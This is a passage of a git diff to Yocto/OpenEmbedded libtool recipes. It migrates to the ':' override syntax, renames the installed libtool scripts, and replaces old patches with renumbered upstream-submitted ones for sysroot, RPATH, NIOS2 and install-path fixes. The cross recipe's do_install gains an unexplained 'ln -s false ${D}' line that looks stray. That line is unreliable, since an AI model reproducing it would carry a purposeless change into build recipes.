- file://rename-with-sysroot.patch \
- file://use-sysroot-in-libpath.patch \
- file://fix-final-rpath.patch \
- file://fix-rpath.patch \
- file://norm-rpath.patch \
+ file://0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch \
+ file://0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch \
+ file://0003-ltmain.in-Add-missing-sysroot-to-library-path.patch \
+ file://0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch \
+ file://0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch \
file://dont-depend-on-help2man.patch \
- file://fix-resolve-lt-sysroot.patch \
+ file://0006-libtool.m4-Handle-as-a-sysroot-correctly.patch \
file://nohardcodepaths.patch \
file://unwind-opt-parsing.patch \
- file://0001-libtool-Fix-support-for-NIOS2-processor.patch \
- file://0001-libtool-Check-for-static-libs-for-internal-compiler-.patch \
+ file://0007-libtool-Fix-support-for-NIOS2-processor.patch \
+ file://0008-libtool-Check-for-static-libs-for-internal-compiler-.patch \
+ file://0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch \
+ file://0010-Makefile.am-make-sure-autoheader-run-before-automake.patch \
+ file://0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch \
+ file://0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch \
+ file://libool.m4-add-ARFLAGS-variable.patch \
+ file://ARFLAGS-use-cr-instead-of-cru-by-default.patch \
"
SRC_URI[md5sum] = "addf44b646ddb4e3919805aa88fa7c5e"
SRC_URI[sha256sum] = "e3bd4d5d3d025a36c21dd6af7ea818a2afcd4dfc1ea5a17b39d7854bcd0c06e3"
-do_compile_prepend () {
+do_compile:prepend () {
# Sometimes this file doesn't get rebuilt, force the issue
rm -f ${S}/build-aux/ltmain.sh
make build-aux/ltmain.sh
@@ -41,9 +46,9 @@ CACHED_CONFIGUREVARS += "ac_cv_path_GREP=grep"
DEPENDS = "libtool-native"
PACKAGES =+ "libltdl"
-FILES_${PN} += "${datadir}/aclocal"
+FILES:${PN} += "${datadir}/aclocal"
-FILES_${PN}-dev_remove = "${datadir}/aclocal"
-FILES_libltdl = "${libdir}/libltdl${SOLIBS}"
+FILES:${PN}-dev:remove = "${datadir}/aclocal"
+FILES:libltdl = "${libdir}/libltdl${SOLIBS}"
export CONFIG_SHELL="/bin/bash"
diff --git a/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb b/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
index 02c6e152fc..93f1dd7825 100644
--- a/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
@@ -1,14 +1,13 @@
require libtool-${PV}.inc
PACKAGES = ""
-SRC_URI += "file://prefix.patch"
SRC_URI += "file://fixinstall.patch"
datadir = "${STAGING_DIR_TARGET}${target_datadir}"
inherit nopackages
-do_configure_prepend () {
+do_configure:prepend () {
# Remove any existing libtool m4 since old stale versions would break
# any upgrade
rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
@@ -22,15 +21,16 @@ do_configure_prepend () {
# Find references to LTCC="ccache xxx-gcc" and CC="ccache xxx-gcc"
#
do_install () {
+ ln -s false ${D}
install -d ${D}${bindir_crossscripts}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
+ install -m 0755 libtool ${D}${bindir_crossscripts}/libtool
sed -e 's@^\(predep_objects="\).*@\1"@' \
-e 's@^\(postdep_objects="\).*@\1"@' \
-e 's@^CC="ccache.@CC="@' \
-e 's@^LTCC="ccache.@LTCC="@' \
- -i ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -i '/^archive_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -i '/^archive_expsym_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
+ -i ${D}${bindir_crossscripts}/libtool
+ sed -i '/^archive_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/libtool
+ sed -i '/^archive_expsym_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/libtool
GREP='/bin/grep' SED='sed' ${S}/build-aux/inline-source libtoolize > ${D}${bindir_crossscripts}/libtoolize
chmod 0755 ${D}${bindir_crossscripts}/libtoolize
install -d ${D}${target_datadir}/libtool/build-aux/
diff --git a/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb b/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
index 4c5218ade0..19024f7830 100644
--- a/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
@@ -2,13 +2,11 @@ require libtool-${PV}.inc
DEPENDS = ""
-SRC_URI += "file://prefix.patch"
-
inherit native
EXTRA_OECONF = " --with-libtool-sysroot=${STAGING_DIR_NATIVE}"
-do_configure_prepend () {
+do_configure:prepend () {
# Remove any existing libtool m4 since old stale versions would break
# any upgrade
rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
@@ -18,5 +16,5 @@ do_configure_prepend () {
do_install () {
autotools_do_install
install -d ${D}${bindir}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir}/${HOST_SYS}-libtool
+ install -m 0755 libtool ${D}${bindir}/libtool
}
diff --git a/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch b/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch
deleted file mode 100644
index 8c7c39feb6..0000000000
--- a/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 40a2da75e6d95cc7c498ebda95ab19ae0db2ebfb Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 26 Jan 2019 12:54:26 -0800
-Subject: [PATCH] libtool: Check for static libs for internal compiler
- libraries
-
-Libtool checks only for libraries linked as -l* when trying to
-find internal compiler libraries. Clang, however uses the absolute
-path to link its internal libraries e.g. compiler_rt. This patch
-handles clang's statically linked libraries when finding internal
-compiler libraries.
-
-https://crbug.com/749263
-
-Upstream-Status: Submitted [https://debbugs.gnu.org/cgi/bugreport.cgi?bug=27866]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- m4/libtool.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
-index d0389a0..9619c57 100644
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -7536,7 +7536,7 @@ if AC_TRY_EVAL(ac_compile); then
- for p in `eval "$output_verbose_link_cmd"`; do
- case $prev$p in
-
-- -L* | -R* | -l*)
-+ -L* | -R* | -l* | */libclang_rt.*.a)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test x-L = "$p" ||
---
-2.20.1
-
diff --git a/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch b/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch
deleted file mode 100644
index bbd36d8dc1..0000000000
--- a/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From df2cd898e48208f26320d40c3ed6b19c75c27142 Mon Sep 17 00:00:00 2001
-From: Marek Vasut <marex@denx.de>
-Date: Thu, 17 Sep 2015 00:43:15 +0200
-Subject: [PATCH] libtool: Fix support for NIOS2 processor
-
-The name of the system contains the string "nios2". This string
-is caught by the some of the greedy checks for OS/2 in libtool,
-in particular the *os2* branches of switch statements match for
-the nios2 string, which results in incorrect behavior of libtool.
-
-This patch adds an explicit check for *nios2* before the *os2*
-checks to prevent the OS/2 check incorrectly trapping the nios2
-as well.
-
-Signed-off-by: Marek Vasut <marex@denx.de>
-Upstream-Status: Submitted
----
- build-aux/ltmain.in | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
-index d5cf07a..4164284 100644
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -504,6 +504,12 @@ libtool_validate_options ()
- test : = "$debug_cmd" || func_append preserve_args " --debug"
-
- case $host in
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ *nios2*)
-+ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
-+ ;;
- # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
- # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
- *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*)
-@@ -6220,6 +6226,15 @@ func_mode_link ()
- if test -n "$library_names" &&
- { test no = "$use_static_libs" || test -z "$old_library"; }; then
- case $host in
-+ *nios2*)
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ if test no = "$installed"; then
-+ func_append notinst_deplibs " $lib"
-+ need_relink=yes
-+ fi
-+ ;;
- *cygwin* | *mingw* | *cegcc* | *os2*)
- # No point in relinking DLLs because paths are not encoded
- func_append notinst_deplibs " $lib"
-@@ -6290,6 +6305,11 @@ func_mode_link ()
- elif test -n "$soname_spec"; then
- # bleh windows
- case $host in
-+ *nios2*)
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ ;;
- *cygwin* | mingw* | *cegcc* | *os2*)
- func_arith $current - $age
- major=$func_arith_result
---
-2.5.1
-
diff --git a/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch
new file mode 100644
index 0000000000..eeb5ebf416
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch
@@ -0,0 +1,35 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 01/12] ltmain.in: Handle trailing slashes on install commands correctly
+
+A command like:
+
+libtool --mode=install /usr/bin/install -c gck-roots-store-standalone.la '/image/usr/lib/gnome-keyring/standalone/'
+
+where the path ends with a trailing slash currently fails. This occurs in
+software like gnome-keyring or pulseaudio and is because the comparision
+code doesn't see the paths as equal. Strip both paths to ensure this works
+reliably.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00010.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -2356,8 +2356,14 @@ func_mode_install ()
+ func_append dir "$objdir"
+
+ if test -n "$relink_command"; then
++ # Strip any trailing slash from the destination.
++ func_stripname '' '/' "$libdir"
++ destlibdir=$func_stripname_result
++ func_stripname '' '/' "$destdir"
++ s_destdir=$func_stripname_result
++
+ # Determine the prefix the user has applied to our future dir.
+- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
++ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
+
+ # Don't allow the user to place us outside of our expected
+ # location b/c this prevents finding dependent libraries that
diff --git a/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch b/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch
new file mode 100644
index 0000000000..6da283959e
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch
@@ -0,0 +1,167 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 02/12] libtool.m4: Rename the --with-sysroot option to avoid conflict with gcc/binutils
+
+This patch renames the --with-sysroot option to --with-libtool-sysroot
+to avoid namespace conflict with binutils, gcc and other toolchain
+components since these componets also add that option to configure
+and this becomes confusing and conflicting otherwise.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream report:
+http://lists.gnu.org/archive/html/libtool/2010-10/msg00048.html
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00014.html]
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1215,28 +1215,28 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
+ # ----------------
+ AC_DEFUN([_LT_WITH_SYSROOT],
+ [AC_MSG_CHECKING([for sysroot])
+-AC_ARG_WITH([sysroot],
+-[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@],
++AC_ARG_WITH([libtool-sysroot],
++[AS_HELP_STRING([--with-libtool-sysroot@<:@=DIR@:>@],
+ [Search for dependent libraries within DIR (or the compiler's sysroot
+ if not specified).])],
+-[], [with_sysroot=no])
++[], [with_libtool_sysroot=no])
+
+ dnl lt_sysroot will always be passed unquoted. We quote it here
+ dnl in case the user passed a directory name.
+ lt_sysroot=
+-case $with_sysroot in #(
++case $with_libtool_sysroot in #(
+ yes)
+ if test yes = "$GCC"; then
+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
+ fi
+ ;; #(
+ /*)
+- lt_sysroot=`echo "$with_sysroot" | sed -e "$sed_quote_subst"`
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
+ ;; #(
+ no|'')
+ ;; #(
+ *)
+- AC_MSG_RESULT([$with_sysroot])
++ AC_MSG_RESULT([$with_libtool_sysroot])
+ AC_MSG_ERROR([The sysroot must be an absolute path.])
+ ;;
+ esac
+diff --git a/tests/sysroot.at b/tests/sysroot.at
+--- a/tests/sysroot.at
++++ b/tests/sysroot.at
+@@ -64,7 +64,7 @@ while read file; do
+ done])
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -114,7 +114,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ ]])
+@@ -155,7 +155,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ ]])
+diff --git a/tests/testsuite b/tests/testsuite
+--- a/tests/testsuite
++++ b/tests/testsuite
+@@ -48945,7 +48945,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -49154,7 +49154,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -49342,7 +49342,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -49694,7 +49694,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -49903,7 +49903,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50091,7 +50091,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50443,7 +50443,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -50652,7 +50652,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50840,7 +50840,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
diff --git a/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch b/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch
new file mode 100644
index 0000000000..0103a00451
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch
@@ -0,0 +1,24 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 03/12] ltmain.in: Add missing sysroot to library path
+
+When using a sysroot we should append it to libdir, which is helpful in
+cross builds as the system is staged in the sysroot. For normal builds,
+i.e. when lt_sysroot is not set, it will still behave the same and add
+-L/usr/lib to the relink command.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00017.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -6421,7 +6421,7 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
+- add_dir=-L$libdir
++ add_dir="-L$lt_sysroot$libdir"
+ # Try looking first in the location we're being installed to.
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
diff --git a/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch b/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch
new file mode 100644
index 0000000000..21b3dfe306
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch
@@ -0,0 +1,50 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 04/12] ltmain.sh: Fix sysroot paths being encoded into RPATHs
+
+There is a bug where RPATHs could end up containing sysroot values when
+cross compiling which is obviously incorrect. Strip out sysroot components
+from libdir when building RPATH values to avoid this.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00009.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -7569,9 +7569,11 @@ EOF
+ test relink = "$opt_mode" || rpath=$compile_rpath$rpath
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+- func_replace_sysroot "$libdir"
+- libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+ else
+@@ -8301,6 +8303,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $compile_rpath $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+@@ -8352,6 +8358,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
diff --git a/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch b/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch
new file mode 100644
index 0000000000..50d47d9f7a
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch
@@ -0,0 +1,72 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 05/12] ltmain.in: Don't encode RATHS which match default linker paths
+
+We don't want to add RPATHS which match default linker search paths, they're
+a waste of space. This patch filters libtools list of paths to encoode and
+removes the ones we don't need.
+
+Libtool may be passed link paths of the form "/usr/lib/../lib" so normalize
+the paths before comparision.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00013.html]
+
+diff -u b/build-aux/ltmain.in b/build-aux/ltmain.in
+--- b/build-aux/ltmain.in
++++ b/build-aux/ltmain.in 2012-08-22 11:01:34.191345989 -0700
+@@ -7286,8 +7286,16 @@
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append dep_rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8019,8 +8027,16 @@
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ rpath+=" $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8070,8 +8086,14 @@
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch b/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch
new file mode 100644
index 0000000000..999971241f
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch
@@ -0,0 +1,44 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 06/12] libtool.m4: Handle "/" as a sysroot correctly
+
+Update libtool.m4 to resolve a problem with lt_sysroot not being properly
+updated if the option '--with[-libtool]-sysroot' is not provided when
+running the 'configure' script for a package so that "/" as a sysroot
+is handled correctly by libtool.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream Report:
+http://lists.gnu.org/archive/html/bug-libtool/2013-09/msg00005.html
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00018.html]
+
+---
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1225,16 +1225,21 @@ dnl lt_sysroot will always be passed unquoted. We quote it here
+ dnl in case the user passed a directory name.
+ lt_sysroot=
+ case $with_libtool_sysroot in #(
+- yes)
++ no)
+ if test yes = "$GCC"; then
+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ # Treat "/" the same a an unset sysroot. It seems to be more
++ # compatible across host platforms that way!?
++ if test "$lt_sysroot" = /; then
++ lt_sysroot=
++ fi
+ fi
+ ;; #(
++ yes|''|/)
++ ;; #(
+ /*)
+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
+ ;; #(
+- no|'')
+- ;; #(
+ *)
+ AC_MSG_RESULT([$with_libtool_sysroot])
+ AC_MSG_ERROR([The sysroot must be an absolute path.])
diff --git a/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch b/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch
new file mode 100644
index 0000000000..395464e908
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch
@@ -0,0 +1,69 @@
+From: Marek Vasut <marex@denx.de>
+Subject: [PATCH 07/12] libtool: Fix support for NIOS2 processor
+
+The name of the system contains the string "nios2". This string
+is caught by the some of the greedy checks for OS/2 in libtool,
+in particular the *os2* branches of switch statements match for
+the nios2 string, which results in incorrect behavior of libtool.
+
+This patch adds an explicit check for *nios2* before the *os2*
+checks to prevent the OS/2 check incorrectly trapping the nios2
+as well.
+
+Signed-off-by: Marek Vasut <marex@denx.de>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00021.html]
+
+---
+ build-aux/ltmain.in | 20 ++++++++++++++++++++
+ 1 file changed, 20 insertions(+)
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index d5cf07a..4164284 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -504,6 +504,12 @@ libtool_validate_options ()
+ test : = "$debug_cmd" || func_append preserve_args " --debug"
+
+ case $host in
++ # For NIOS2, we want to make sure that it's not caught by the
++ # more general OS/2 check below. Otherwise, NIOS2 is the same
++ # as the default option.
++ *nios2*)
++ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
++ ;;
+ # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
+ # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
+ *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*)
+@@ -6220,6 +6226,15 @@ func_mode_link ()
+ if test -n "$library_names" &&
+ { test no = "$use_static_libs" || test -z "$old_library"; }; then
+ case $host in
++ *nios2*)
++ # For NIOS2, we want to make sure that it's not caught by the
++ # more general OS/2 check below. Otherwise, NIOS2 is the same
++ # as the default option.
++ if test no = "$installed"; then
++ func_append notinst_deplibs " $lib"
++ need_relink=yes
++ fi
++ ;;
+ *cygwin* | *mingw* | *cegcc* | *os2*)
+ # No point in relinking DLLs because paths are not encoded
+ func_append notinst_deplibs " $lib"
+@@ -6290,6 +6305,11 @@ func_mode_link ()
+ elif test -n "$soname_spec"; then
+ # bleh windows
+ case $host in
++ *nios2*)
++ # For NIOS2, we want to make sure that it's not caught by the
++ # more general OS/2 check below. Otherwise, NIOS2 is the same
++ # as the default option.
++ ;;
+ *cygwin* | mingw* | *cegcc* | *os2*)
+ func_arith $current - $age
+ major=$func_arith_result
+--
+2.5.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch b/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch
new file mode 100644
index 0000000000..afffdb9fd4
--- /dev/null
